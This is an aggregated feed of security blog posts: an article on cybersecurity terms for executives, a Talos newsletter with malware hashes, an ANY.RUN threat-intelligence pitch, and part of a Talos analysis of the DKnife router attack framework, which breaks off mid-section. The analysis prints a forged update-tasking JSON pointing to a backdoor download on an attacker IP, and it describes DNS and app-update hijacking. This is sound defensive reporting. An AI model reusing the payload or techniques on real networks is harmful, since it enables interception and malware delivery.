To implement effective cybersecurity programs and keep the security team deeply integrated into all business processes, the CISO needs to regularly demonstrate the value of this work to senior management. This requires speaking the language of business, but a dangerous trap awaits those who try.  Security professionals and executives often use the same words, but for entirely different things. Sometimes, a number of similar terms are used interchangeably. As a result, top management may not understand which threats the security team is trying to mitigate, what the company’s actual level of cyber-resilience is, or where budget and resources are being allocated. Therefore, before presenting sleek dashboards or calculating the ROI of security programs, it’s worth subtly clarifying these important terminological nuances.

By clarifying these terms and building a shared vocabulary, the CISO and the Board can significantly improve communication and, ultimately, strengthen the organization’s overall security posture.

Why cybersecurity vocabulary matters for management

Varying interpretations of terms are more than just an inconvenience; the consequences can be quite substantial. A lack of clarity regarding details can lead to:

• Misallocated investments. Management might approve the purchase of a zero trust solution without realizing it’s only one piece of a long-term, comprehensive program with a significantly larger budget. The money is spent, yet the results management expected are never achieved. Similarly, with regard to cloud migration, management may assume that moving to the cloud automatically transfers all security responsibility to the provider, and subsequently reject the cloud security budget.
• Blind acceptance of risk. Business unit leaders may accept cybersecurity risks without having a full understanding of the potential impact.
• Lack of governance. Without understanding the terminology, management can’t ask the right — tough — questions, or assign areas of responsibility effectively. When an incident occurs, it often turns out that business owners believed security was entirely within the CISO’s domain, while the CISO lacked the authority to influence business processes.

Cyber-risk vs. IT risk

Many executives believe that cybersecurity is a purely technical issue they can hand off to IT. Even though the importance of cybersecurity to business is indisputable, and cyber-incidents have long ranked as a top business risk, surveys show that many organizations still fail to engage non-technical leaders in cybersecurity discussions.

Information security risks are often lumped in with IT concerns like uptime and service availability.  In reality, cyberrisk is a strategic business risk linked to business continuity, financial loss, and reputational damage.

IT risks are generally operational in nature, affecting efficiency, reliability, and cost management. Responding to IT incidents is often handled entirely by IT staff. Major cybersecurity incidents, however, have a much broader scope; they require the engagement of nearly every department, and have a long-term impact on the organization in many ways — including as regards reputation, regulatory compliance, customer relationships, and overall financial health.

Compliance vs. security

Cybersecurity is integrated into regulatory requirements at every level — from international directives like NIS2 and GDPR, to cross-border industry guidelines like PCI DSS, plus specific departmental mandates. As a result, company management often views cybersecurity measures as compliance checkboxes, believing that once regulatory requirements are met, cybersecurity issues can be considered resolved. This mindset can stem from a conscious effort to minimize security spending (“we’re not doing more than what we’re required to”) or from a sincere misunderstanding (“we’ve passed an ISO 27001 audit, so we’re unhackable”).

In reality, compliance is meeting the minimum requirements of auditors and government regulators at a specific point in time. Unfortunately, the history of large-scale cyberattacks on major organizations proves that “minimum” requirements have that name for a reason. For real protection against modern cyberthreats, companies must continuously improve their security strategies and measures according to the specific needs of the given industry.

Threat, vulnerability, and risk

These three terms are often used synonymously, which leads to erroneous conclusions made by management: “There’s a critical vulnerability on our server? That means we have a critical risk!” To avoid panic or, conversely, inaction, it’s vital to use these terms precisely and understand how they relate to one another.

A vulnerability is a weakness — an “open door”. This could be a flaw in software code, a misconfigured server, an unlocked server room, or an employee who opens every email attachment.

A threat is a potential cause of an incident. This could be a malicious actor, malware, or even a natural disaster. A threat is what might “walk through that open door”.

Risk is the potential loss. It’s the cumulative assessment of the likelihood of a successful attack, and what the organization stands to lose as a result (the impact).

The connections among these elements are best explained with a simple formula:

Risk = (Threat × Vulnerability) × Impact

This can be illustrated as follows. Imagine a critical vulnerability with a maximum severity rating is discovered in an outdated system. However, this system is disconnected from all networks, sits in an isolated room, and is handled by only three vetted employees. The probability of an attacker reaching it is near zero. Meanwhile, the lack of two-factor authentication in the accounting systems creates a real, high risk, resulting from both a high probability of attack and significant potential damage.

Incident response, disaster recovery, and business continuity

Management’s perception of security crises is often oversimplified: “If we get hit by ransomware, we’ll just activate the IT Disaster Recovery plan and restore from backups”. However, conflating these concepts — and processes — is extremely dangerous.

Incident Response (IR) is the responsibility of the security team or specialist contractors. Their job is to localize the threat, kick the attacker out of the network, and stop the attack from spreading.

Disaster Recovery (DR) is an IT engineering task. It’s the process of restoring servers and data from backups after the incident response has been completed.

Business Continuity (BC) is a strategic task for top management. It’s the plan for how the company continues to serve customers, ship goods, pay compensation, and talk to the press while its primary systems are still offline.

If management focuses solely on recovery, the company will lack an action plan for the most critical period of downtime.

Security awareness vs. security culture

Leaders at all levels sometimes assume that simply conducting security training guarantees results: “The employees have passed their annual test, so now they won’t click on a phishing link”. Unfortunately, relying solely on training organized by HR and IT won’t cut it. Effectiveness requires changing the team’s behavior, which is impossible without the engagement of business management.

Awareness is knowledge. An employee knows what phishing is and understands the importance of complex passwords.

Security culture refers to behavioral patterns. It’s what an employee does in a stressful situation or when no one’s watching. Culture isn’t shaped by tests, but by an environment where it’s safe to report mistakes and where it’s customary to identify and prevent potentially dangerous situations. If an employee fears punishment, they’ll hide an incident. In a healthy culture, they’ll report a suspicious email to the SOC, or nudge a colleague who forgets to lock their computer, thereby becoming an active link in the defense chain.

Detection vs. prevention

Business leaders often think in outdated “fortress wall” categories: “We bought expensive protection systems, so there should be no way to hack us. If an incident occurs, it means the CISO failed”. In practice, preventing 100% of attacks is technically impossible and economically prohibitive. Modern strategy is built on a balance between cybersecurity and business effectiveness. In a balanced system, components focused on threat detection and prevention work in tandem.

Prevention deflects automated, mass attacks.

Detection and Response help identify and neutralize more professional, targeted attacks that manage to bypass prevention tools or exploit vulnerabilities.

The key objective of the cybersecurity team today isn’t to guarantee total invulnerability, but to detect an attack at an early stage and minimize the impact on the business. To measure success here, the industry typically uses metrics like Mean Time to Detect (MTTD) and Mean Time to Respond (MTTR).

Zero-trust philosophy vs. zero-trust products

The zero trust concept — which implies “never trust, always verify” for all components of IT infrastructure — has long been recognized as relevant and effective in corporate security. It requires constant verification of identity (user accounts, devices, and services) and context for every access request based on the assumption that the network has already been compromised.

However, the presence of “zero trust” in the name of a security solution doesn’t mean an organization can adopt this approach overnight simply by purchasing the product.
Zero trust isn’t a product you can “turn on”; it’s an architectural strategy and a long-term transformation journey. Implementing zero trust requires restructuring access processes and refining IT systems to ensure continuous verification of identity and devices. Buying software without changing processes won’t have a significant effect.

Security of the cloud vs. security in the cloud

When migrating IT services to cloud infrastructure like AWS or Azure, there’s often an illusion of a total risk transfer: “We pay the provider, so security is now their headache”. This is a dangerous misconception, and a misinterpretation of what is known as the Shared Responsibility Model.

Security of the cloud is the provider’s responsibility. It protects the data centers, the physical servers, and the cabling.

Security in the cloud is the client’s responsibility.

Discussions regarding budgets for cloud projects and their security aspects should be accompanied by real life examples. The provider protects the database from unauthorized access according to the settings configured by the client’s employees. If employees leave a database open or use weak passwords, and if two-factor authentication isn’t enabled for the administrator panel, the provider can’t prevent unauthorized individuals from downloading the information — an all-too-common news story. Therefore, the budget for these projects must account for cloud security tools and configuration management on the company side.

Vulnerability scanning vs. penetration testing

Leaders often confuse automated checks, which fall under cyber-hygiene, with assessing IT assets for resilience against sophisticated attacks: “Why pay hackers for a pentest when we run the scanner every week?”

Vulnerability scanning checks a specific list of IT assets for known vulnerabilities. To put it simply, it’s like a security guard doing the rounds to check that the office windows and doors are locked.

Penetration testing (pentesting) is a manual assessment to evaluate the possibility of a real-world breach by exploiting vulnerabilities. To continue the analogy, it’s like hiring an expert burglar to actually try and break into the office.

One doesn’t replace the other; to understand its true security posture, a business needs both tools.

Managed assets vs. attack surface

A common and dangerous misconception concerns the scope of protection and the overall visibility held by IT and Security. A common refrain at meetings is, “We have an accurate inventory list of our hardware. We’re protecting everything we own”.

Managed IT assets are things the IT department has purchased, configured, and can see in their reports.

An attack surface is anything accessible to attackers: any potential entry point into the company. This includes Shadow IT (cloud services, personal messaging apps, test servers…), which is basically anything employees launch themselves in circumvention of official protocols to speed up or simplify their work. Often, it’s these “invisible” assets that become the entry point for an attack, as the security team can’t protect what it doesn’t know exists.

Kaspersky official blog – ​Read More

Welcome to this week’s edition of the Threat Source newsletter.  

Brothers and sisters, gather close for a moment. We are all security followers here gathered in fellowship and community, with one joyful spirit to fight the good fight and do good out there in the security world.   

It is with that spirit that I have to mention Clawdbot. Clawdbot (aka Moltbot or OpenClaw) is a locally run open-source agentic application that acts on your behalf. Want to check into a flight? Reply to an email? Vibe code Skynet? Clawdbot’s got you. As of writing this, it has 157k stars on Github. To make it work, the only teeny tiny thing you have to do is feed Clawdbot all of your private information (like logins, passwords, and API keys) and you’re off to the races. No big deal, right? It completely acts on your behalf, with little input if that’s what you desire. If that just made the hair on the back of your neck stand up a little, yeah, me too.

By now, the security hot mess that is Clawdbot has made its way from obscurity into the mainstream news, and it’s all bad. Shocker.   

This is important. I cannot stress this enough. Everyone in the room who ran as fast as possible and installed Clawd/Moltbot, I need you to rethink things. To make this agentic platform act on your request and/or autonomously, you mustsurrender private information to an unvetted, unsecured agentic engine. Now, as a result, your logins, passwords, and more are sitting in a plaintext file, ripe for easy stealing.   

And then there’s the Skills. You can teach your wildly productive agent to do new things! Edit a spreadsheet! Write GPOs! Play a game of global thermonuclear war! The sky is the limit. All it requires is you to give over complete system admin/root access to your Clawd agent. Just understand that Skills are unvetted and unsecured, and already are being actively exploited.

As disciples of security, we understand installing first and asking questions later is practically asking to get pwnt. It has never panned out well for the end user, but usually quite well for attackers who very much understand the threat landscape. Clawdbot is no exception.   

I need you to be highly skeptical of any AI tool rush. Do not be consumed by The Hype. Much like OpenAI’s Atlas, AI tools are being aggressively released to the market and installed, often with security vulnerabilities everywhere. Resist the urge to throw yourself upon tools or platforms that have rushed to address a market need — they usually had no forethought about security, or just push an unreasonable assumption of risk on the end user.  

Security is being sacrificed on the altar of convenience, as AI outpaces our ability to secure it. Brothers and sisters, I’m not asking you to reject the future. AI is going to neat places. I’m asking you to guard yourself as you walk into it. 

The one big thing 

In Talos’ latest blog, we share the discovery of “DKnife,” a modular Linux-based attack framework that compromises routers and edge devices to intercept network traffic, steal credentials, and deliver malware. Active since at least 2019, DKnife can hijack legitimate software updates and bypass endpoint security, posing a significant risk to both users and organizations. 

Why do I care? 

DKnife can take over routers and edge devices, letting attackers spy on users, steal passwords, and install malware without being easily noticed. Because it can break through traditional antivirus defenses and target many types of devices, even networks with good security could be at risk if these gateway devices are not protected. 

So now what? 

Review and harden the security of routers, gateways, and other Linux-based edge devices. Audit for unauthorized firmware or binaries, make sure you’re enforcing strong authentication and certificate validation, and monitor for unusual traffic patterns or update behaviors. Implement network segmentation and make sure your devices are getting updates directly from trusted vendors. 

Top security headlines of the week 

You mean, other than the mess that is Clawdbot? Sorry, the first headline shows we’re not escaping that any time soon: 

Weaponized VS Code add-on ClawdBot sneaks in ScreenConnect RAT 
Security researchers flagged a malicious VS Code extension named “ClawdBot Agent” on the Visual Studio Marketplace. Microsoft swiftly removed it after a report, but not before it tricked developers into installing a fully functional trojan. (Cyber Press) 

Windows malware uses Pulsar RAT for live chats while stealing data 
A newly discovered Windows malware campaign combines the Pulsar RAT with Stealerv37, using Donut loader shellcode injection into explorer.exe to operate entirely in memory while evading traditional antivirus detection. (HackRead) 

eScan confirms update server breached to push malicious update 
MicroWorld Technologies confirmed unauthorized access to a regional eScan antivirus update server resulted in malicious updates distributed to customers during a two-hour window on January 20. (Bleeping Computer) 

County pays $600,000 to pentesters it arrested for assessing courthouse security 
Two security professionals who were arrested in 2019 after performing an authorized security assessment of a county courthouse in Iowa will receive $600,000 to settle a lawsuit they brought alleging wrongful arrest and defamation. (Ars Technica)

Can’t get enough Talos? 

The TTP: Less ransomware, same problems 
Every quarter, Talos IR reviews the incidents we’ve responded to and looks for meaningful shifts in attacker behavior. Hazel is joined by Joe Marshall and Craig Jackson to break down what trends stood out in Q4. 

IR Tales from the Frontlines 
Go beyond the blog with Cisco Talos IR on February 11. This live session features candid stories, behind-the-scenes insights, and strategic lessons learned from the most critical real-world incidents we faced last quarter. 

UAT-8099: New persistence mechanisms and regional focus 
Talos uncovered a new wave of attacks by UAT-8099 targeting IIS servers across Asia, with a special focus on Thailand and Vietnam. Analysis confirms significant operational overlaps between this activity and the WEBJACK campaign. 

Talos Takes: What encryption can (and can’t) do for you 
Step into the fascinating world of cryptography. Amy, Yuri Kramarz, and Tim Wadhwa-Brown sit down to chat about what encryption really accomplishes, where it leaves gaps, and when defenders need to take proactive measures. 

Upcoming events where you can find Talos 

• S4x26 (Feb. 23 – 26) Miami, FL  

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
MD5: 2915b3f8b703eb744fc54c81f4a9c67f 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
Example Filename: VID001.exe 
Detection Name: Win.Worm.Coinminer::1201  

SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
Example Filename: d4aa3e7010220ad1b458fac17039c274_64_Dll.dll 
Detection Name: Auto.90B145.282358.in02  

SHA256: 96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974 
MD5: aac3165ece2959f39ff98334618d10d9 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974 
Example Filename: d4aa3e7010220ad1b458fac17039c274_63_Exe.exe 
Detection Name: W32.Injector:Gen.21ie.1201  

SHA256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91 
MD5: 7bdbd180c081fa63ca94f9c22c457376 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91 
Example Filename: d4aa3e7010220ad1b458fac17039c274_62_Exe.exe 
Detection Name: Win.Dropper.Miner::95.sbx.tg  

SHA256: 41f14d86bcaf8e949160ee2731802523e0c76fea87adf00ee7fe9567c3cec610 
MD5: 85bbddc502f7b10871621fd460243fbc 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=41f14d86bcaf8e949160ee2731802523e0c76fea87adf00ee7fe9567c3cec610 
Example Filename: 85bbddc502f7b10871621fd460243fbc.exe 
Detection Name: W32.41F14D86BC-100.SBX.TG 

SHA256: 38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55 
MD5: 41444d7018601b599beac0c60ed1bf83 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55 
Example Filename: content.js 
Detection Name: W32.38D053135D-95.SBX.TG

Cisco Talos Blog – ​Read More

The financial sector resembles a treasure vault under constant siege. Banks, insurers, and fintech firms are not just custodians of money. They are guardians of irreplaceable personal and corporate data, payment flows, transactional integrity, and trust itself.  

When cybercriminals strike, the ripple effects cascade outward, threatening individual savings, corporate balance sheets, national infrastructures, and broader economic confidence. 

The Biggest Cybersecurity Risks for Financial Businesses 

The threat landscape for finance keeps getting worse, and the numbers make that clear: 

• 90% of attacks start with phishing, based on sandbox analyses from 15,000 organizations using ANY.RUN’s solutions 

• 65% of financial organizations were hit by ransomware, the highest rate across industries 

• Ransomware recovery costs reached $2.73M on average in 2024, excluding ransom payments (Sophos) 

• Nearly one-third of attacks bypass existing defenses, despite increased security spend (Picus Blue Report) 

• 14.5 million stolen credit cards were listed on underground markets in 2024, a 20% YoY increase (Bitsight) 

Together, these numbers point to the same underlying risk: attacks are getting faster, stealthier, and more expensive, while traditional controls struggle to keep up.  

For financial organizations, even small gaps in visibility or delayed decisions can lead to halted transactions, customer impact, and regulatory scrutiny. The difference between early detection and late response is not measured in alerts, but in downtime avoided, losses prevented, and trust preserved. 

Why Traditional Cyber Defenses Are Not Enough in Finance 

Most financial SOCs already have SIEM, EDR, and email security in place. The problem is not a lack of tools, but a lack of actionable data on the latest attacks that can help them prevent incidents rather than react to them. 

Common issues include: 

• Too many alerts, too little context: SOC analysts in financial organizations spend hours validating indicators with no clear verdict. 

• Late visibility into real campaigns: Traditional threat intelligence sources provide information on threats after damage has started elsewhere. 

• Slow escalation decisions: Teams hesitate between false positives and overreaction. 

• High investigation costs: Manual research consumes Tier 1 and Tier 2 capacity. 

These gaps directly translate into higher MTTR, higher incident costs, and higher operational risk. 

How Threat Intelligence Helps Reduce Business Risks 

Threat intelligence changes the situation by shifting security from reaction to prevention. Instead of waiting for incidents to unfold, it lets SOC teams spot and stop threats earlier in the attack lifecycle. 

ANY.RUN’s Threat Intelligence supports this across three core SOC processes. 

Monitoring: Spot Threats Before They Reach Your Infrastructure 

ANY.RUN’s Threat Intelligence Feeds bring unique advantages to financial institutions seeking to strengthen their defensive posture against the sophisticated threats targeting the sector. 

TI Feeds are powered by a global community of over 600,000 cybersecurity professionals and 15,000+ organizations who analyze threats daily in ANY.RUN’s Interactive Sandbox. 

Plus, each indicator comes with a sandbox analysis that gives SOC teams a full attack context that eliminates the need for additional investigations and allows analysts to move on to the remediation stage instantly, significantly cutting MTTR. 

What this means for your SOC and business: 

• 36% higher detection rate of threats: Helps SOC teams spot real threats to the financial industry before they reach critical systems, reducing the risk of fraud and service outages. 

• Visibility into emerging attacks not covered by traditional feeds: Gives security teams a head start on new campaigns, lowering the chance of being hit by previously unseen threats. 

• Cleaner alerts with fewer false positives: Analysts spend less time on noise and more time on real incidents, keeping response fast during peak attack periods. 

• Faster triage and confident response decisions: Clear context around indicators shortens investigations and limits attacker dwell time in financial environments. 

• Proactive protection instead of reactive firefighting: Threats are blocked earlier, helping prevent business disruption, regulatory exposure, and customer impact. 

Indicators can be streamed directly into SIEM and SOAR platforms using APIs, SDKs, and STIX/TAXII, enabling automated detection, enrichment, and response without changing established workflows. 

Triage: Make Faster, More Confident Security Decisions 

Threat Intelligence Lookup gives analysts immediate context for suspicious IPs, domains, URLs, and over 40 other types of indicators. This helps financial SOCs close more alerts faster and with more confidence, reducing the risk of a missed attack and a resulting business impact due to incidents. 

What this means for your SOC and business: 

• Clear understanding of threats to your company: Analysts immediately see whether an indicator is tied to real malicious activity, reducing uncertainty and missed risks. 

• 21-minute faster MTTR: Alerts are validated or closed quickl, helping SOC teams stay in control even when attack volume increases. 

• Lower investigation effort per incident: Less manual research means faster containment and fewer resources spent on non-critical alerts. 

Shorter investigations mean lower response costs and reduced operational impact during incidents. 

To demonstrate how TI Lookup accelerates the triage processes, we simulate a typical scenario where a SOC analyst needs to verify an alert about a suspicious URL. Instead of checking it across multiple sources and wasting precious time, the analyst can submit it to TI Lookup and get a 2-second response with full context. 

url:”familyriwo.su” 

TI Lookup shows that this URL is related to a currently active Lumma Stealer campaign, which has been observed by companies in banking, telecommunications across Germany, Spain, and the United States. 

Threat Hunting: Find Risks Before Alerts Exist 

Threat Intelligence Lookup also supports proactive threat hunting by exposing patterns across real campaigns, not just isolated IOCs. 

What this enables: 

• Focus on threats that actually matter: Hunters prioritize campaigns, techniques, and infrastructure relevant to financial organizations, not generic threat noise. 

• Earlier visibility into hidden or low-noise attacks: Real attack patterns help uncover threats before they escalate into full incidents. 

• More effective detection improvements: Hunting insights translate into better rules and coverage, reducing blind spots over time. 

Earlier risk exposure prevents silent compromises that lead to major incidents later. 

For example, TI Lookup provides a clear picture of the current threat landscape for companies in different industries and countries.  

By combing the three parameters for the industry, country, and threat type, we can instantly see phishing threats facing financial organizations in the United Kingdom: 

industry:”Finance” AND submissionCountry:”gb” and threatName:”phishing” 

TI Lookup shows the latest phishing attacks analyzed in the sandbox, allowing analysts to view each of them to study the current attack flows used by criminals. 

Fresh, extensive intelligence from TI Lookup gives SOC teams the ability to enrich the existing detection capabilities and ensure that the organization’s defenses stay relevant and impenetrable for active attacks. 

Business Outcomes of Integrating Threat Intelligence in Finance 

ANY.RUN’s Threat Intelligence delivers value when it protects business operations, not just SOC metrics. 

Key outcomes include: 

• Risk Reduction: By enabling earlier detection and prevention of attacks, threat intelligence directly reduces the probability and impact of security incidents. This translates to lower financial losses from breaches, reduced regulatory fines, and minimized business disruption. 

• Compliance Demonstration: Documentation of threat intelligence integration shows due diligence to auditors and regulators, supporting compliance with frameworks like PCI DSS, GDPR, DORA, and SEC cybersecurity rules. 

• Operational Efficiency: Automated threat intelligence integration reduces the manual effort required for threat research and indicator validation. Security teams can handle more alerts with the same resources, improving overall SOC efficiency and enabling organizations to do more with existing budgets. 

• Cost Optimization: While threat intelligence feeds represent an investment, they deliver ROI through reduced breach costs, lower cyber insurance premiums, minimized overtime and emergency response costs, and decreased need for expensive forensics and recovery services.  

• Customer Trust and Reputation: Demonstrating robust security measures through threat intelligence integration helps maintain customer confidence. 

For financial institutions, these outcomes directly protect revenue and operational continuity. 

Conclusion 

Threat intelligence is most effective when it supports clear decisions at the right time. By combining early signals, real attack context, and continuous updates, SOC teams can act before small issues turn into business-critical incidents. 

That is where security starts protecting the business, not after the damage is done. 

About ANY.RUN  

ANY.RUN develops advanced solutions for malware analysis and threat hunting, trusted by 600,000+ cybersecurity professionals worldwide.  

Its interactive malware analysis sandbox enables hands-on investigation of threats targeting Windows, Linux, and Android environments. ANY.RUN’s Threat Intelligence Lookup and Threat Intelligence Feeds help security teams quickly identify indicators of compromise, enrich alerts with context, and investigate incidents early. Together, the solutions empowers analysts to strengthen overall security posture at financial institutions and banks.   

Request ANY.RUN access for your company   

FAQ

The post How Threat Intelligence Helps Protect Financial Organizations from Business Risk appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

• Cisco Talos uncovered “DKnife,” a fully featured gateway-monitoring and adversary-in-the-middle (AitM) framework comprising seven Linux-based implants that perform deep-packet inspection, manipulate traffic, and deliver malware via routers and edge devices. Based on the artifact metadata, DKnife has been used since at least 2019 and the command and control (C2) are still active as of January 2026.
• DKnife’s attacks target a wide range of devices, including PCs, mobile devices, and Internet of Things (IoT) devices. It delivers and interacts with the ShadowPad and DarkNimbus backdoors by hijacking binary downloads and Android application updates.
• DKnife primarily targets Chinese-speaking users, indicated by credential harvesting for Chinese-language services, exfiltration modules for popular Chinese mobile applications and code references to Chinese media domains. Based on the language used in the code, configuration files and the ShadowPad malware delivered in the campaign, we assess with high confidence that China-nexus threat actors operate this tool.
• We discovered a link between DKnife and a campaign delivering WizardNet, a modular backdoor known to be delivered by a different AiTM framework Spellbinder, suggesting a shared development or operational lineage.

---

Background 

Since 2023, Cisco Talos has continuously tracked the MOONSHINE exploit kit and the DarkNimbus backdoor it distributes. The exploit kit and backdoor were historically used for delivering Android and iOS exploits. While hunting for DarkNimbus samples, Talos discovered an executable and linkable format (ELF) binary communicating with the same C2 server as the DarkNimbus backdoor, which retrieved a gzip-compressed archive. Analysis revealed that the archive contained a fully featured gateway monitoring and AiTM framework, dubbed “DKnife” by its developer. Based on the artifact metadata, the tool has been used since at least 2019, and the C2 is still active as of January 2026. 

Link between DKnife and WizardNet campaigns 

During Talos’ pivot on the C2 infrastructure associated with DKnife, we identified additional servers exhibiting open ports and configurations consistent with previously observed DKnife deployments. Notably, one host (43.132.205[.]118) displayed port activity characteristic of DKnife infrastructure and was additionally found hosting the WizardNet backdoor on port 8881. 

WizardNet is a modular backdoor first disclosed by ESET in April 2025, known to be deployed via Spellbinder, a framework that performs AitM attacks leveraging IPv6 Stateless Address Autoconfiguration (SLAAC) spoofing. 

Network responses from the WizardNet server align closely with the tactics, techniques, and procedures (TTPs) documented in ESET’s analysis. Specifically, the server delivered JSON-formatted tasking instructions that included a download URL pointing to an archive named minibrowser11_rpl.zip, which include the Wizardnet backdoor downloader.  

{ 
  "CSoftID": 22, 
  "CommandLine": "", 
  "Desp": "1.1.1160.80", 
  "DownloadUrl": "http://43.132.205.118:81/app/minibrowser11_rpl.zip", 
  "ErrCode": 0, 
  "File": "minibrowser11.zip", 
  "Flags": 1, 
  "Hash": "cd09f8f7ea3b57d5eb6f3f16af445454", 
  "InstallType": 0, 
  "NewVer": "1.1.1160.900", 
  "PatchFile": "QBDeltaUpdate.exe", 
  "PatchHash": "cd09f8f7ea3b57d5eb6f3f16af445454", 
  "Sign": "", 
  "Size": 36673429, 
  "VerType": "" 
} 

Spellbinder’s TTPs, which involve hijacking legitimate application update requests and serving forged responses to redirect victims to malicious download URLs, are similar to DKnife’s method of compromising Android application updates. Spellbinder has also been observed distributing the DarkNimbus backdoor, whose C2 infrastructure previously led to the initial discovery of DKnife. The URL redirection paths (http[:]//[IP]:81/app/[app name]) and port configurations identified in these cases are identical to those used by DKnife, indicating a shared development or operational lineage.  

Targeting scope  

Based on artifacts recovered from the DKnife framework, this campaign appears to primarily target Chinese-speaking users. Indicators supporting this assessment include data collection and processing logic explicitly designed for Chinese mail services , as well as parsing and exfiltration modules tailored for Chinese mobile applications and messaging platforms, including WeChat. In addition, code references to Chinese media domains were identified in both the binaries and configuration files. The screenshot below illustrates an Android application hijacking response that targeted a Chinese taxi service and rideshare application. 

It is important to note that Talos obtained the configuration files for analysis from a single C2 server. Therefore, it remains possible that the operators employ different servers or configurations for distinct regional targeting scopes. Considering the connection between DKnife and the WizardNet campaign and given ESET’s reporting that WizardNet activity has targeted the Philippines, Cambodia, and the United Arab Emirates, we cannot rule out a broader regional or multilingual targeting scope. 

Indication of Chinese-speaking threat actors 

DKnife contains several artifacts that suggest the developer and operators are familiar with Simplified Chinese. Multiple comments written in Simplified Chinese appear throughout the DKnife configuration files (see Figure 2). 

One component of DKnife is named yitiji.bin. The term “Yitiji” is the Pinyin (official romanization system for Mandarin Chinese) for “一体机” which means “all-in-one.” In DKnife, this component is responsible for opening the local interface on the device to route traffic through a single device in this scenario. 

Additionally, within the DKnife code, when reporting user activities back to the remote C2 server, multiple messages are labelled in Simplified Chinese to indicate the types of activities. 

DKnife: A gateway monitoring and AitM framework 

DKnife is a full-featured gateway monitoring framework composed of seven ELF components that perform traffic manipulation across a target network. In addition to the seven ELF components that provide the core functionality, the framework comes with a list of configuration files (see Appendix for the full list), self-signed certificates, phishing templates, forged HTTP responses for hijacking and phishing, log files, and backdoor binaries. 

 The framework is designed to work with backdoors installed on compromised devices. Its key capabilities include serving update C2 for the backdoors, DNS hijacking, hijacking Android application updates and binary downloads, delivering ShadowPad and DarkNimbus backdoors, selectively disrupting security-product traffic and exfiltrating user activity to remote C2 servers. The following sections highlight DKnife’s key capabilities and explain how its seven ELF binaries work together to implement them. 

Targeted platform 

DKnife binaries are 64-bit Linux (x86-64) ELF implants that run on Linux-based devices. One of the components remote.bin imports the library “libcrypto.so.10”, indicating it targets CentOS/RHEL-based platforms. Configuration elements such as PPPoE, VLAN tagging, a bridged interface (br0), and adjustable MTU and MAC parameters suggest that DKnife is tailored for edge or router devices running Linux-based firmware.  

Key capabilities 

The Deep Packet Inspection (DPI) logic and modular design of DKnife enable operators to conduct traffic monitoring campaigns ranging from covert monitoring of user activity to active in-line attacks that replace legitimate downloads with malicious payloads. The following sections highlight the framework’s key capabilities including: 

• Serving C2 to Android and Windows DarkNimbus malware 
• DNS hijacking 
• Android Application binary update hijacking 
• Windows binary hijacking 
• Anti-virus traffic disruption 
• User activity monitoring 

Serving updated C2 to the Android and Windows DarkNimbus backdoors 

In previously published research about the DarkNimbus backdoor, analysts noted that some samples communicated with their C2 servers using a custom protocol, leading to the hypothesis that the backdoor operated within an AiTM environment. Talos’ discovery of DKnife validates this assessment. 

DKnife is designed to work with both Android and Windows variants of DarkNimbus. For the Windows version, the dknife.bin component inspects UDP traffic and sends them to port 8005. When it identifies a request containing the string marker DKGETMMHOST, it constructs and returns a response specifying the C2 server address. The response includes two parameters: DKMMHOST and DKFESN. The DKMMHOST value is read from DKnife’s configuration file (“/dksoft/conf/server.conf”), which contains the line MMHOST URL=[value]. The DKFESN value represents a device identifier that DKnife retrieves from an internal server located at “192.168.92.92:8080”.  

For the Android variants, the backdoor attempts to contact a Baidu URL “http[:]//fanyi.baidu[.]com/query_config_dk” to retrieve its C2 information. This URL does not return any response from Baidu itself; rather, it serves as a recognizable trigger for DKnife, which intercepts the request and injects the C2 response.  

DNS hijacking 

The DKnife framework relies on two main configuration files to control its DNS-based hijacking and attack logic. The dns.conf file defines the global keyword-to-IP mapping rules and framework parameters used for DNS interception. The perdns.conf file extends this by defining per-target or campaign-specific DNS attack tasks, including timing parameters such as interval and duration for each attack. In the archive we obtained from the C2 server, only perdns.conf was present; it contained a template for setup rather than active attack data. 

DKnife supports both IPv4 and IPv6 DNS hijacking: 

• IPv4 (A) DNS hijacking:
  • For configured domains: replies with the per-domain IPv4 from dns.conf 
  • For test.com: replies with 8.8.8.8 (and logs) 
  • For JD-related domains (“api.m.jd.com”, “beta-api.m.jd.com”, “api.jd.co.th”, or “beta-api.jd.co.th”): replies with 10.3.3.3 
• IPv6 (AAAA) DNS hijacking:
  • For configured domains and for test.com: replies with fixed IPv6 IP 240e:a03:a03:303:a03:303:a03:303 (crafted) 

The private IP address 10.3.3.3 belongs to the local interface created by the yitiji.bin component in DKnife. DKnife uses the local interface for delivering malicious binaries (see the following section). The crafted AAAA response is not an actual public address. When DKnife sees traffic addressed to that crafted IPv6, it checks the last 8 bytes of the address and converts it to the local interface address 10.3.3.3.  

The code also specially tempers the domains associated with mail services. It takes the queried domain, removes any trailing period if present, then splits on “.” and extracts the leftmost label (e.g., “mail.example.com” into “mail”). It then looks up that label in the same per-domain configuration. Once the attack flag is enabled and the cooldown window has elapsed, it immediately injects a configured response to replace the original response.  

Android application binary update hijacking 

DKnife can hijack and replace Android application updates by intercepting the update manifest requests. When an Android application sends an APK update manifest request, DKnife intercepts it, consults the configuration file, and selects the corresponding JSON response file to reply. This response contains a download URL redirecting to the URL of address 10.3.3.3, which DKnife recognizes and routes to the yitiji.bin created Local Area Network (LAN) to deliver malware instead of the legitimate update APK. 

